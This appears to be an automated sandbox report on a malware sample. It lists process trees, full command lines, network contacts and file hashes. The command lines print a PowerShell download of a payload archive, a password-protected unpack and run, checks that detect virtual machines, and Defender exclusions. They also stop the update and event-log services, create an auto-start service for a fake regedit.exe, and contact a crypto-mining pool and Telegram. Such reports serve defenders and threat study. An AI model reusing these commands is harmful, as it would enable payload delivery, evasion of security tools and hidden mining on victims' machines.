PID 5116 wrote to memory of 304 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Conhost.exe
PID 5116 wrote to memory of 304 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Conhost.exe
PID 5116 wrote to memory of 4216 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 5116 wrote to memory of 4216 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 5116 wrote to memory of 4988 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\wscript.exe
PID 5116 wrote to memory of 4988 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\wscript.exe
PID 5116 wrote to memory of 3112 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\chcp.com
PID 5116 wrote to memory of 3112 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\chcp.com
PID 5116 wrote to memory of 3936 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\timeout.exe
PID 5116 wrote to memory of 3936 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\timeout.exe
PID 5116 wrote to memory of 1720 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\doskey.exe
PID 5116 wrote to memory of 1720 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\doskey.exe
PID 5116 wrote to memory of 1952 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 5116 wrote to memory of 1952 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 5116 wrote to memory of 4128 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 5116 wrote to memory of 4128 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 5116 wrote to memory of 2248 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\rar\UnRAR.exe
PID 5116 wrote to memory of 2248 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\rar\UnRAR.exe
PID 5116 wrote to memory of 952 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\RAR57F8IF\Java20.exe
PID 5116 wrote to memory of 952 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\RAR57F8IF\Java20.exe
PID 5116 wrote to memory of 952 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\RAR57F8IF\Java20.exe
PID 5116 wrote to memory of 3416 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\RAR57F8IF\Run64.exe
PID 5116 wrote to memory of 3416 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\RAR57F8IF\Run64.exe
PID 5116 wrote to memory of 4292 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\timeout.exe
PID 5116 wrote to memory of 4292 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\timeout.exe
PID 952 wrote to memory of 4604 N/A C:\Users\Admin\AppData\Local\Temp\RAR57F8IF\Java20.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 952 wrote to memory of 4604 N/A C:\Users\Admin\AppData\Local\Temp\RAR57F8IF\Java20.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 952 wrote to memory of 4604 N/A C:\Users\Admin\AppData\Local\Temp\RAR57F8IF\Java20.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 952 wrote to memory of 4604 N/A C:\Users\Admin\AppData\Local\Temp\RAR57F8IF\Java20.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 952 wrote to memory of 4604 N/A C:\Users\Admin\AppData\Local\Temp\RAR57F8IF\Java20.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 952 wrote to memory of 4604 N/A C:\Users\Admin\AppData\Local\Temp\RAR57F8IF\Java20.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 952 wrote to memory of 4604 N/A C:\Users\Admin\AppData\Local\Temp\RAR57F8IF\Java20.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 952 wrote to memory of 4604 N/A C:\Users\Admin\AppData\Local\Temp\RAR57F8IF\Java20.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 5116 wrote to memory of 5036 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\doskey.exe
PID 5116 wrote to memory of 5036 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\doskey.exe
PID 5116 wrote to memory of 4220 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\timeout.exe
PID 5116 wrote to memory of 4220 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\timeout.exe
PID 2520 wrote to memory of 3428 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\wusa.exe
PID 2520 wrote to memory of 3428 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\wusa.exe
PID 3768 wrote to memory of 1636 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\wusa.exe
PID 3768 wrote to memory of 1636 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\wusa.exe
PID 1004 wrote to memory of 1976 N/A C:\ProgramData\soft\regedit.exe C:\Windows\system32\conhost.exe
PID 1004 wrote to memory of 1976 N/A C:\ProgramData\soft\regedit.exe C:\Windows\system32\conhost.exe
PID 1004 wrote to memory of 1976 N/A C:\ProgramData\soft\regedit.exe C:\Windows\system32\conhost.exe
PID 1004 wrote to memory of 1976 N/A C:\ProgramData\soft\regedit.exe C:\Windows\system32\conhost.exe
PID 1004 wrote to memory of 1976 N/A C:\ProgramData\soft\regedit.exe C:\Windows\system32\conhost.exe
PID 1004 wrote to memory of 1976 N/A C:\ProgramData\soft\regedit.exe C:\Windows\system32\conhost.exe
PID 1004 wrote to memory of 1976 N/A C:\ProgramData\soft\regedit.exe C:\Windows\system32\conhost.exe

Processes

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\start.bat"

C:\Windows\system32\findstr.exe

findstr /i "echo" "C:\Users\Admin\AppData\Local\Temp\start.bat"

C:\Windows\system32\findstr.exe

findstr /i "echo" "C:\Users\Admin\AppData\Local\Temp\start.bat"

C:\Windows\system32\findstr.exe

findstr /i "echo" "C:\Users\Admin\AppData\Local\Temp\start.bat"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c wmic computersystem get manufacturer /value

C:\Windows\System32\Wbem\WMIC.exe

wmic computersystem get manufacturer /value

C:\Windows\system32\findstr.exe

findstr /i "echo" "C:\Users\Admin\AppData\Local\Temp\start.bat"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -NoLogo -NoProfile -ExecutionPolicy Bypass -Command "if ((Get-WmiObject Win32_ComputerSystem).Model -match 'Virtual') { taskkill /F /IM cmd.exe }"

C:\Windows\system32\chcp.com

chcp 65001

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -NoLogo -NoProfile -ExecutionPolicy Bypass -Command "if((gcim Win32_PhysicalMemory | measure -Property capacity -Sum).sum /1gb -lt 4) {spps -f -n 'cmd' -ErrorAction SilentlyContinue;exit 1}"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -NoLogo -NoProfile -ExecutionPolicy Bypass -Command "if ((Get-WmiObject Win32_ComputerSystem).Model -match 'Virtual') { taskkill /F /IM cmd.exe }"

C:\Windows\system32\wscript.exe

wscript /b

C:\Windows\system32\chcp.com

chcp 65001

C:\Windows\system32\timeout.exe

timeout 0

C:\Windows\system32\doskey.exe

doskey /listsize=0

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -Command "(New-Object System.Net.WebClient).DownloadFile('https://drive.usercontent.google.com/u/0/uc?id=1ZRO0JMVWlqdCkDiMau3Ea7O_ARtuQLab&export=download', 'C:\Users\Admin\AppData\Local\Temp\Cache.rar')"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -nop -c "Write-Host -NoNewLine $null"

C:\Users\Admin\AppData\Local\Temp\rar\UnRAR.exe

"C:\Users\Admin\AppData\Local\Temp\rar\unrar.exe" x -pNb845nh994nbnj67h45h6 -o+ "C:\Users\Admin\AppData\Local\Temp\Cache.rar" "C:\Users\Admin\AppData\Local\Temp\RAR57F8IF"

C:\Users\Admin\AppData\Local\Temp\RAR57F8IF\Java20.exe

"C:\Users\Admin\AppData\Local\Temp\RAR57F8IF\Java20.exe"

C:\Users\Admin\AppData\Local\Temp\RAR57F8IF\Run64.exe

"C:\Users\Admin\AppData\Local\Temp\RAR57F8IF\Run64.exe"

C:\Windows\system32\timeout.exe

timeout 0

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"

C:\Windows\system32\doskey.exe

doskey ASSOC=ENDLOCAL

C:\Windows\system32\timeout.exe

timeout /T 10 /NOBREAK

C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart

C:\Windows\system32\sc.exe

C:\Windows\system32\sc.exe stop UsoSvc

C:\Windows\system32\wusa.exe

wusa /uninstall /kb:890830 /quiet /norestart

C:\Windows\system32\sc.exe

C:\Windows\system32\sc.exe stop WaaSMedicSvc

C:\Windows\system32\sc.exe

C:\Windows\system32\sc.exe stop wuauserv

C:\Windows\system32\sc.exe

C:\Windows\system32\sc.exe stop bits

C:\Windows\system32\sc.exe

C:\Windows\system32\sc.exe stop dosvc

C:\Windows\System32\Conhost.exe

\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

C:\Windows\system32\powercfg.exe

C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0

C:\Windows\system32\powercfg.exe

C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0

C:\Windows\system32\powercfg.exe

C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0

C:\Windows\system32\powercfg.exe

C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0

C:\Windows\system32\sc.exe

C:\Windows\system32\sc.exe delete "Micro"

C:\Windows\system32\sc.exe

C:\Windows\system32\sc.exe create "Micro" binpath= "C:\ProgramData\soft\regedit.exe" start= "auto"

C:\Windows\system32\sc.exe

C:\Windows\system32\sc.exe stop eventlog

C:\Windows\system32\sc.exe

C:\Windows\system32\sc.exe start "Micro"

C:\ProgramData\soft\regedit.exe

C:\ProgramData\soft\regedit.exe

C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force

C:\Windows\system32\wbem\WmiApSrv.exe

C:\Windows\system32\wbem\WmiApSrv.exe

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart

C:\Windows\system32\sc.exe

C:\Windows\system32\sc.exe stop UsoSvc

C:\Windows\system32\sc.exe

C:\Windows\system32\sc.exe stop WaaSMedicSvc

C:\Windows\system32\sc.exe

C:\Windows\system32\sc.exe stop wuauserv

C:\Windows\system32\wusa.exe

wusa /uninstall /kb:890830 /quiet /norestart

C:\Windows\system32\sc.exe

C:\Windows\system32\sc.exe stop bits

C:\Windows\system32\sc.exe

C:\Windows\system32\sc.exe stop dosvc

C:\Windows\system32\powercfg.exe

C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0

C:\Windows\system32\powercfg.exe

C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0

C:\Windows\system32\powercfg.exe

C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0

C:\Windows\system32\powercfg.exe

C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0

C:\Windows\system32\conhost.exe

C:\Windows\system32\conhost.exe

C:\Windows\system32\svchost.exe

svchost.exe

C:\Windows\system32\doskey.exe

doskey /listsize=0

Network

Country Destination Domain Proto
US 8.8.8.8:53 drive.usercontent.google.com udp
GB 142.250.179.225:443 drive.usercontent.google.com tcp
US 8.8.8.8:53 225.179.250.142.in-addr.arpa udp
US 8.8.8.8:53 get.geojs.io udp
US 104.26.0.100:443 get.geojs.io tcp
US 8.8.8.8:53 100.0.26.104.in-addr.arpa udp
US 8.8.8.8:53 api.telegram.org udp
NL 149.154.167.220:443 api.telegram.org tcp
US 8.8.8.8:53 220.167.154.149.in-addr.arpa udp
US 8.8.8.8:53 pool.hashvault.pro udp
DE 45.76.89.70:3333 pool.hashvault.pro tcp
US 8.8.8.8:53 70.89.76.45.in-addr.arpa udp
US 8.8.8.8:53 pastebin.com udp
US 104.20.3.235:443 pastebin.com tcp
DE 45.76.89.70:7777 pool.hashvault.pro tcp
US 8.8.8.8:53 235.3.20.104.in-addr.arpa udp
US 8.8.8.8:53 152.107.17.2.in-addr.arpa udp
US 8.8.8.8:53 25.73.42.20.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp

Files

C:\Users\Admin\AppData\Local\Temp\kdotlbBcbF.bat

MD5 9c91ca84f03b82d8f45c9acb3c4462e3
SHA1 66a5576da8235a70da4b6367edf65e1613ed718d
SHA256 e719a3d2cdd5209c88d09de833d492ab5472f8903255dc1e1c21265c7375f1b9
SHA512 f8d2429a3a068bed6ce4084266690e18c59bba92131ded1987b3ce963a06ea30f23a74d70ebcfd3ae3a805728ae8db01fc843910ce60e2cdb63d83900943535a

memory/4572-47-0x00007FFE426F3000-0x00007FFE426F4000-memory.dmp

memory/4572-49-0x000002E71A860000-0x000002E71A882000-memory.dmp

memory/4572-52-0x000002E71AA10000-0x000002E71AA86000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0i3nlhmq.kp2.ps1

MD5 c4ca4238a0b923820dcc509a6f75849b
SHA1 356a192b7913b04c54574d18c28d46e6395428ab
SHA256 6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
SHA512 4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

memory/4572-53-0x00007FFE426F0000-0x00007FFE430DC000-memory.dmp

memory/4572-68-0x00007FFE426F0000-0x00007FFE430DC000-memory.dmp

memory/4572-72-0x00007FFE426F0000-0x00007FFE430DC000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

MD5 5d574dc518025fad52b7886c1bff0e13
SHA1 68217a5f9e9a64ca8fed9eefa4171786a8f9f8f7
SHA256 755c4768f6e384030805284ab88689a325431667e9ab11d9aeaa55e9739742f2
SHA512 21de152e07d269b265dae58d46e8c68a3268b2f78d771d4fc44377a14e0c6e73aadae923dcfd34ce2ef53c2eaa53d4df8f281d9b8a627edee213946c9ef37d13

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 16a47f226ff4bb2ab7ea53d8c37705ea
SHA1 610daff97dca19e727518db5f21bcad79563e86c
SHA256 2679027d0e3875f665efb399f0948356a3cea90e61bfed63c6de4d66d7c60f1c
SHA512 c2f09862f72d872ab5a29d728876aeaa76563349f10669013aa17ee5a2aacfa735d4e5c3b072d30f3a9585ba833a328ecf45611fc8715a27b2bec8a7e51596c0

memory/304-249-0x0000020B49540000-0x0000020B4956A000-memory.dmp

memory/304-268-0x0000020B49540000-0x0000020B49562000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 4208a5d75079eb99d2ee6c9a15c05376
SHA1 923279a172c5cf94bf1f1572083ad77d7e6fb30c
SHA256 55e19e147f67e75a80cd65402acbf094767dd548040a208bdd98118ebaac5718
SHA512 31c2913874057b8ac365d0fcdee4e08fdebc0c6cd6a45d694918229293999caa83875e06fa75090f3c77f2fe7e8e6061642dc3429b0a00fbd78b6f0a4b4b375e

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 2f8d094cb93065cc896475a94806bb70
SHA1 0c9ba776402cbde67fa3cafa95f1b94b67889556
SHA256 ff4c9715cb8f7cb3b5886ebded1588db5d5b6e53c22950450e53cb9f23c049bd
SHA512 db6146206aa62cfeb0f282fdfed0f83a65c1522bba7dd59ee2160f25ad6aa107266ba75c606b98a06abd28fc2de131134fe97f307e32a576ee4eef89d1dd9f09

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 fb20b5b3b49e649b039265e7e766874d
SHA1 9c20c223bc73cbc795d4e5015c1664b724a93e04
SHA256 fbe1ba0cc4f486c2dfb07c8621267b662de2acfce5c0d81bef742c3456c1b3d8
SHA512 7526da24100ac119898fcb2615a0edbd76596169328bf5f38a9d45755083e95b5a925bd690921f97cdb76783ec144d276c320201935a80b1738296ebec1dd7ee

C:\Users\Admin\AppData\Local\Temp\Cache.rar

MD5 8d81c24c788d3b677ae69bb05b332ca3
SHA1 4c22763de908a474c072f6be63f9f4b739677b6b
SHA256 5dff0b0233de8fc9e1e4d2acca3bf31356b6ad5e391a19d83b25ffde35368033
SHA512 234e56f23a47e01b6ed16bb448e0c418908d929c2c4f02802ba5ef7fdca248db465932f2e42e695199c61156b12378340f51f4a9bcb7360dee45915cce52e115

C:\Users\Admin\AppData\Local\Temp\RAR57F8IF\Java20.exe

MD5 c4d99bebc185a005d42c1554467adb20
SHA1 735b6e7dcbaa96d4059918a864d26afa7d15f221
SHA256 05b97b1a01c860431abc0ad0cc3b808a2ab281fee02926d45ceda01adbd9bef6
SHA512 60b23492ce15bc0b73455dbe4e47d7b4ec3fafe8bd53817b3f35114ab0b201e4ef9bed16f35045dcb430535ae07f867fe53ffd4a93c5fbf47567107c7f44c2bd

memory/952-366-0x0000000000810000-0x0000000000811000-memory.dmp

memory/952-368-0x0000000000810000-0x0000000000811000-memory.dmp

memory/4604-367-0x0000000000400000-0x0000000000424000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\RAR57F8IF\Run64.exe

MD5 771ebc5437983534ab8ff6b091cf2ded
SHA1 8581e29460d5909ccff01bdad4ab106431c89eeb
SHA256 53eb1f650b78da51f4d24a5185d4e64c415951923acc9850bb946ee5ab374bf8
SHA512 ae441d38be3718b25ce79eaabecab5137b952888c7b983e86b7c620c87508259eb74b1c7c7dd44fe2c5e36404b2460a26e8e8c3e74d388eb5f7d4ebc45920bb9

memory/4604-369-0x0000000005BF0000-0x0000000005C82000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 601d047c01a1bb6f5ee3d239ea28f1da
SHA1 5904962c2c282be1aaa487db74d913072025d6b1
SHA256 7772d15605ce69d7be3e0351fedb3748f00268af26be143878aeb23794c2b6f4
SHA512 ae771466b9325cf5a860d520300ddb1b48d1bbfd4eb6566a3bc1e67e44e708bf9c5b2c1517938d08a4455a2b5b2a1f5a271ba6904d54eaf12be8a46b01a5b11c

memory/4604-376-0x0000000005E00000-0x0000000005E66000-memory.dmp

memory/4604-422-0x0000000007530000-0x0000000007A2E000-memory.dmp

memory/1832-441-0x0000021D6FF50000-0x0000021D6FF6C000-memory.dmp

memory/1832-447-0x0000021D70110000-0x0000021D701C9000-memory.dmp

memory/1832-480-0x0000021D6FF70000-0x0000021D6FF7A000-memory.dmp

memory/1976-572-0x0000000140000000-0x000000014000D000-memory.dmp

memory/1976-578-0x0000000140000000-0x000000014000D000-memory.dmp

memory/3292-579-0x0000000140000000-0x0000000140848000-memory.dmp

memory/3292-580-0x0000000140000000-0x0000000140848000-memory.dmp

memory/3292-582-0x0000000140000000-0x0000000140848000-memory.dmp

memory/3292-585-0x0000000140000000-0x0000000140848000-memory.dmp

memory/3292-590-0x0000000140000000-0x0000000140848000-memory.dmp

memory/3292-589-0x0000000140000000-0x0000000140848000-memory.dmp

memory/3292-591-0x0000000140000000-0x0000000140848000-memory.dmp

memory/3292-588-0x0000000140000000-0x0000000140848000-memory.dmp

memory/3292-587-0x0000000140000000-0x0000000140848000-memory.dmp

memory/3292-581-0x0000000140000000-0x0000000140848000-memory.dmp

memory/3292-586-0x000001A6E4AE0000-0x000001A6E4B00000-memory.dmp

memory/3292-583-0x0000000140000000-0x0000000140848000-memory.dmp

memory/3292-584-0x0000000140000000-0x0000000140848000-memory.dmp

memory/1976-575-0x0000000140000000-0x000000014000D000-memory.dmp

memory/1976-574-0x0000000140000000-0x000000014000D000-memory.dmp

memory/1976-573-0x0000000140000000-0x000000014000D000-memory.dmp

memory/1976-571-0x0000000140000000-0x000000014000D000-memory.dmp

C:\Windows\system32\drivers\etc\hosts

MD5 747d7ddd27f695f5e07df8ff9bc44e28
SHA1 c33048412255744c3de6292238eae196791be25e
SHA256 8dac7d9b38f2811c76652717c7f93c2a6390f031149ed850ae9ddb7dedcfca55
SHA512 ca85efa05980bba8ced81cb41a66e05821a2a55382142bffd27e8945a34d0ec89a6e221f0f5e381c877adc8d639863c9c837b74401f8096af5e9417580766ffa

memory/3292-595-0x0000000140000000-0x0000000140848000-memory.dmp

memory/3292-596-0x0000000140000000-0x0000000140848000-memory.dmp

memory/3292-597-0x0000000140000000-0x0000000140848000-memory.dmp

memory/3292-598-0x0000000140000000-0x0000000140848000-memory.dmp

memory/3292-599-0x0000000140000000-0x0000000140848000-memory.dmp